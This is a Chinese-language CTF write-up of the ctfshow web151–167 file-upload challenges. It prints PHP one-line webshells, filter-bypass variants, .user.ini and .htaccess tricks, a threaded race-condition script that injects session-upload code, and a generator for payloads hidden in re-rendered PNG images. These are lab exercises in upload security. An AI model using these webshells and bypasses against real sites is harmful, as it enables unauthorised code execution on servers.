ctfshow
- 檔案上傳
- web151-152
- web153(.user.ini繞過)
- .user.ini
- web154-155(短標簽繞過+.user.ini繞過)
- 短標簽繞過
- web156
- web157-159
- web160(日志包含繞過)
- web161
- web162-163(session檔案包含+條件競爭)
- 條件競爭
- web164(png圖片二次渲染繞過)
- web165(jpg圖片二次渲染繞過)
- web166
- web167(.htaccess)
檔案上傳
web151-152
這兩題步驟是一樣的,先寫一個一句話:
<?php @eval($_POST["1"]);?>
然后把檔案名后綴改成img或png,因為題目有限制,
上傳檔案,同時抓包,把后綴改回php,然后蟻劍連接找到flag,


web153(.user.ini繞過)
和前兩題一樣操作的時候,發現沒有成功繞過

使用user.ini繞過
.user.ini
原理: 指定一個檔案(如a.jpg),那么該檔案就會被包含在要執行的php檔案中(如index.php),類似于在index.php中插入一句:require(./a.jpg);這兩個設定的區別只是在于auto_prepend_file是在檔案前插入;auto_append_file在檔案最后插入(當檔案呼叫的有exit()時該設定無效)所以要求當前目錄必須要有php檔案,巧合的是這題upload目錄下有個index.php所以這種方式是可以成功的,
步驟:
①上傳.user.ini內容為 auto_append_file=“xxx” xxx為我們上傳的檔案名,這樣就在每個php檔案上包含了我們的木馬檔案,

②再上傳一個圖片馬,我這里傳的是1.txt,

③訪問同目錄下的index.php,此時木馬已經決議到這里

蟻劍連接即可

web154-155(短標簽繞過+.user.ini繞過)
先手繞過一波,想搶占先機,結果顯示檔案內容不合規
<script language="php">eval($_POST['a']);</script>
測驗了一波發現內容不能包含php,這都給我過濾了…

短標簽繞過
1:<?= eval($_POST[1]);?>
2:<? eval($_POST[1]);?>
3:<% eval($_POST[1]);%>
測驗之后發現在這題第一種可以使用,然后就很簡單了


蟻劍連接或者
也可以省略一步


web156
過濾了[],在前兩題的基礎上把[] 換成{}
web157-159
過濾了分號、{}、system()等(不同題過濾的不一樣),所以直接構造命令執行即可


利用反引號執行命令
<?=`tac ../f*`?>
<?=`tac ../flag.?hp`?>
最后訪問url/upload/index.php即可
web160(日志包含繞過)
測驗發現反引號也被禁了…
看了大佬的wp發現是用日志包含繞過的


然后蟻劍連接即可
web161
需要加一個幻術檔案頭,其他步驟同web160


web162-163(session檔案包含+條件競爭)
session檔案包含具體原理在檔案包含篇也了解過
條件競爭
我們上傳的檔案如果不符合要求,就會被洗掉,導致成功上傳無法訪問,沒有用,但是如果我們上傳的速度比服務器刪的速度快,就可以了,
自己試著做了一下,沒搞出來,最后照著羽師傅的wp來的,
直接包含,注意sess_后面的內容是自己填的,要記住,跑腳本的時候會用到

大佬的腳本(俺加了點注釋,稍微改了一點點)
import requests
import threading
import re
session = requests.session()
sess = 'abc' #之前上傳時自擬的名字
url1 = "http://2c61d1a6-5b2d-4d20-8367-9d9b9875e436.chall.ctf.show/"
url2 = "http://2c61d1a6-5b2d-4d20-8367-9d9b9875e436.chall.ctf.show/upload"
data1 = {
'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac ../f*");?>'
}
file = {
'file': 'yu22x tql' #檔案名,隨便改就行
}
cookies = {
'PHPSESSID': sess
}
def write(): #上傳檔案競爭程序
while True:
r = session.post(url1, data=data1, files=file, cookies=cookies)
def read():
while True: #每次競爭完都訪問一下url/uoload看有沒有flag
r = session.get(url2)
if 'flag' in r.text:
flag=re.compile('ctfshow{.+}') #我在做題的時候flag格式已經改成ctfshow{}了
print(flag.findall(r.text))
threads = [threading.Thread(target=write),
threading.Thread(target=read)]
for t in threads:
t.start()
web164(png圖片二次渲染繞過)
又是全新的知識點,這題考點和Upload-Labs的第十六關一樣,參考文章,
文章中也是給了大佬寫的腳本
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'1.png'); #保存在本地的圖片馬
?>
渲染程序: 先打開phpstudy,然后將上述代碼保存為1.php,連同圖片馬1.png

一起放在phpstudy的www目錄下,然后瀏覽器訪問http://127.0.0.1/1.php,然后回傳再用winhex打開1.png發現已經完成渲染

接著把這個圖片上傳,然后命令執行即可

web165(jpg圖片二次渲染繞過)
原理與上題類似,同樣參考剛才的網站,找到對應的腳本,稍加修改,然后找一張正常的jpg圖片,進行二次渲染
我是在kali里執行的,語法如下,但是報了一個錯誤,解決方法sudo apt-get install php-gd

然后再次執行,即可得到渲染后的jpg圖片,隨后上傳,執行命令即可,
失敗的話可能是選取的jpg圖片的問題,多找幾張試試
web166
測驗后發現只能傳zip檔案

上傳后在檔案所在目錄命令執行即可
web167(.htaccess)
.htaccess
只能用于Apache服務器
SetHandler application/x-httpd-php .png #把png檔案當做php檔案決議
.user.ini
可以用于多種服務器,但前提是同級目錄下必須有一個php檔案
測驗后發現不滿足.user.ini的使用條件,所以使用.htaccess決議
先上傳.htaccess

再上傳一句話

然后命令執行,F12看到flag

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/267029.html
標籤:其他
